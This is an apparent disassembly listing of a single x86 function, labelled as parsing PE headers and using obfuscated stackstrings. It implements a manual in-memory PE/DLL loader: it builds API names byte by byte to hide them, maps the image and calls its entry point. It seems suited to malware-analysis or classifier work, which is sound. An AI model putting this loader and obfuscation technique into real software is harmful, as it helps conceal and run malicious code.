Function at 0x401ea0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c930
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push ebx
push esi
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], esp
push 0x4342c0
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0xe
call fcn.0040375b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
je 0x401f20
mov eax, 0x401f0d
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [ebp - 0x20], edi
cmp dword [edi], 0x4550
je 0x401f49
mov eax, 0x401f36
ret
mov ecx, dword [edi + 0x50]
mov edx, dword [edi + 0x34]
push 4
push 0x2000
push ecx
push edx
call dword [0x43cdb4]
mov esi, eax
test esi, esi
mov dword [ebp - 0x18], esi
jne 0x401f9c
mov eax, dword [edi + 0x50]
push 4
push 0x2000
push eax
push esi
call dword [0x43cdb4]
test eax, eax
mov dword [ebp - 0x18], eax
jne 0x401f99
mov eax, 0x401f86
ret
mov esi, dword [ebp - 0x18]
mov al, 0x45
mov cl, 0x73
mov byte [ebp - 0x33], al
mov byte [ebp - 0x30], al
mov al, 0x6c
mov byte [ebp - 0x4c], cl
mov byte [ebp - 0x4b], cl
lea ecx, [ebp - 0x54]
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x29], al
lea edx, [ebp - 0x34]
mov al, 0x65
push ecx
push edx
mov byte [ebp - 0x34], 0x4b
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x4e
mov byte [ebp - 0x2f], 0x4c
mov byte [ebp - 0x2e], 0x33
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x54], 0x47
mov byte [ebp - 0x53], al
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x50
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x6f
mov byte [ebp - 0x4e], 0x63
mov byte [ebp - 0x4d], al
mov byte [ebp - 0x4a], 0x48
mov byte [ebp - 0x49], al
mov byte [ebp - 0x48], 0x61
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x14
push 0
call eax
push eax
call dword [0x43cda0]
mov ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebx + 4], esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push 4
push 0x1000
push eax
push esi
call dword [0x43cdb4]
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push esi
call dword [0x43cdb4]
mov esi, dword [ebp + 8]
mov edx, dword [edi + 0x54]
mov edi, eax
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x18]
push ebx
push edi
push ecx
mov dword [eax + 0x34], esi
call fcn.00402180
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + 0x34]
mov eax, esi
sub eax, ecx
je 0x4020f0
push eax
push ebx
call fcn.004023c0
add esp, 8
push ebx
call fcn.004024c0
add esp, 4
test eax, eax
je 0x402120
push ebx
call fcn.00402280
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x402159
add eax, esi
test eax, eax
je 0x402120
push 0
push 1
push esi
call eax
test eax, eax
jne 0x402142
push ebx
call fcn.004027c0
add esp, 4
mov eax, 0x40212f
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx + 0x10], 1
mov eax, 0x40215f
ret